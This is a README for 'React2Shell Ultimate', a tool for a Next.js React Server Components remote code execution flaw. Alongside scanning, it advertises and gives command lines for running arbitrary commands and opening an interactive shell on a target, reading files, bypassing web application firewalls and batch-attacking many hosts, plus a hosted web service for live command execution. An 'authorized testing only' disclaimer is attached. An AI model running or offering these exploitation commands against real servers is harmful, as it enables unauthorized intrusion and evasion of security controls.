Professional Next.js RSC RCE Vulnerability Scanner for CVE-2025-66478
React2Shell Ultimate is a comprehensive vulnerability scanner for CVE-2025-66478 - a critical Remote Code Execution (RCE) vulnerability affecting Next.js applications using React Server Components (RSC).
Version 2.0 brings major enhancements and professional features:
- ✨ Enhanced God Mode - Advanced exploitation capabilities with improved command execution
- 🚀 Better WAF Bypass - More sophisticated techniques to evade security controls
- 🎨 Professional Web Platform - Full-featured web interface at www.react2shellscanner.com
- 🔧 Improved Error Handling - Better debugging and output display
- 📚 Professional Documentation - Comprehensive guides and API documentation
- 🛡️ Security Best Practices - Enhanced safety features and warnings
- 🔍 Multiple Scan Modes (Safe, RCE, Version, Comprehensive)
- 🛡️ Advanced WAF Bypass Techniques
- ⚡ God Mode: Interactive Shell & File Reading
- 🎯 Batch Scanning with Threading
- 📊 JSON Output for Automation
- 🔒 Safe Mode for Non-Invasive Detection
# Basic scan
python3 react2shell-ultimate.py -u https://target.com
# RCE mode
python3 react2shell-ultimate.py -u https://target.com --mode rce
# Execute command (God Mode)
python3 react2shell-ultimate.py -u https://target.com --exec "id"
# Interactive shell
python3 react2shell-ultimate.py -u https://target.com --shell# Clone the repository
git clone https://github.com/hackersatyamrastogi/react2shell-ultimate.git
cd react2shell-ultimate
# Install dependencies
pip3 install -r requirements.txt
# Make the script executable
chmod +x react2shell-ultimate.py
# Verify installation
python3 react2shell-ultimate.py --versionRequirements:
- Python 3.8 or higher
- requests >= 2.31.0
- urllib3 >= 2.0.0
- tqdm >= 4.65.0
Experience React2Shell Ultimate through our professional web interface:
- 🌐 Live Scanner: www.react2shellscanner.com
- 🔌 API Endpoint: api.react2shellscanner.com
Web Features:
- Interactive vulnerability scanner
- Real-time command execution (God Mode)
- Scan history and batch operations
- Professional admin dashboard
FOR AUTHORIZED SECURITY TESTING ONLY
This tool is designed for:
- Authorized penetration testing
- Bug bounty programs
- Security research
- Educational purposes
You are fully responsible for any misuse of this tool.
- Enhanced God Mode exploitation capabilities
- Improved WAF bypass techniques
- Better error handling and output display
- Professional web platform integration
- Comprehensive documentation updates
- Security best practices implementation
- Initial public release
- Core scanning functionality
- Basic God Mode features
- Multi-mode detection support
Satyam Rastogi
- 🌐 Website: satyamrastogi.com
- 💼 GitHub: @hackersatyamrastogi
- 🐦 Twitter: @hackersatyamrastogi
Made with ❤️ by Satyam Rastogi